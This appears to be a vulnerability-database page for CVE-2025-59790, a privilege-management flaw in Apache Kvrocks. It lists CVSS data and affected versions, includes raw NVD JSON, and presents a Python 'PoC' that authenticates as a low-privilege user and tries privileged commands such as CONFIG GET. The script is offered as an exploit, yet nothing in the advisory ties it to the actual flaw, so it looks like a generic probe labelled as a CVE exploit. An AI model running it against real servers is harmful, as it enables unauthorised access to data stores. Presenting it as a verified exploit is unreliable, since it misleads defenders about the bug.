Security Vulnerability Report
中文
CVE-2025-59790 CVSS 5.4 MEDIUM

CVE-2025-59790

Published: 2025-11-28 15:16:03
Last Modified: 2025-12-04 17:03:00

Description

Improper Privilege Management vulnerability in Apache Kvrocks. This issue affects Apache Kvrocks: from v2.9.0 through v2.13.0. Users are recommended to upgrade to version 2.14.0, which fixes the issue.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:kvrocks:*:*:*:*:*:*:*:* - VULNERABLE
Apache Kvrocks v2.9.0
Apache Kvrocks v2.9.1
Apache Kvrocks v2.9.2
Apache Kvrocks v2.9.3
Apache Kvrocks v2.9.4
Apache Kvrocks v2.9.5
Apache Kvrocks v2.10.0
Apache Kvrocks v2.10.1
Apache Kvrocks v2.10.2
Apache Kvrocks v2.11.0
Apache Kvrocks v2.11.1
Apache Kvrocks v2.11.2
Apache Kvrocks v2.12.0
Apache Kvrocks v2.12.1
Apache Kvrocks v2.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59790 PoC - Improper Privilege Management in Apache Kvrocks # Affected Versions: v2.9.0 - v2.13.0 # This PoC demonstrates privilege escalation through improper permission handling import socket import struct def send_redis_command(sock, *args): """Send a Redis protocol command""" cmd = f"*{len(args)}\r\n" for arg in args: cmd += f"${len(str(arg))}\r\n{arg}\r\n" sock.sendall(cmd.encode()) return sock.recv(4096).decode() def exploit_kvrocks_privilege_escalation(host, port, low_priv_user, low_priv_pass): """ Exploit improper privilege management in Apache Kvrocks to perform actions beyond assigned privileges """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) # Authenticate as low-privilege user auth_response = send_redis_command(sock, 'AUTH', low_priv_user, low_priv_pass) if 'OK' not in auth_response: print(f"[-] Authentication failed: {auth_response}") return False print(f"[+] Authenticated as low-privilege user: {low_priv_user}") # Attempt to execute high-privilege operations # These should be blocked but due to the vulnerability may succeed high_priv_commands = [ ('CONFIG', 'GET', '*'), ('INFO', 'server'), ('CLUSTER', 'NODES'), ('SENTINEL', 'masters') ] for cmd in high_priv_commands: response = send_redis_command(sock, *cmd) if 'error' not in response.lower(): print(f"[+] Command {cmd} executed successfully (PRIVILEGE ESCALATION)") print(f" Response: {response[:200]}...") else: print(f"[-] Command {cmd} blocked") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False # Usage if __name__ == "__main__": TARGET_HOST = "target-kvrocks-server" TARGET_PORT = 6666 print("CVE-2025-59790 - Apache Kvrocks Improper Privilege Management") print("=" * 60) exploit_kvrocks_privilege_escalation(TARGET_HOST, TARGET_PORT, "limited_user", "user_password")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59790", "sourceIdentifier": "[email protected]", "published": "2025-11-28T15:16:02.973", "lastModified": "2025-12-04T17:03:00.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Privilege Management vulnerability in Apache Kvrocks.\n\nThis issue affects Apache Kvrocks: from v2.9.0 through v2.13.0.\n\nUsers are recommended to upgrade to version 2.14.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:kvrocks:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.9.0", "versionEndExcluding": "2.14.0", "matchCriteriaId": "B860CF66-528A-49E1-8AC5-0503573F8C06"}]}]}], "references": [{"url": "https://lists.apache.org/thread/dlbz5hmm4ts3npzqnvhofxmqg9w9zt0o", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/28/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}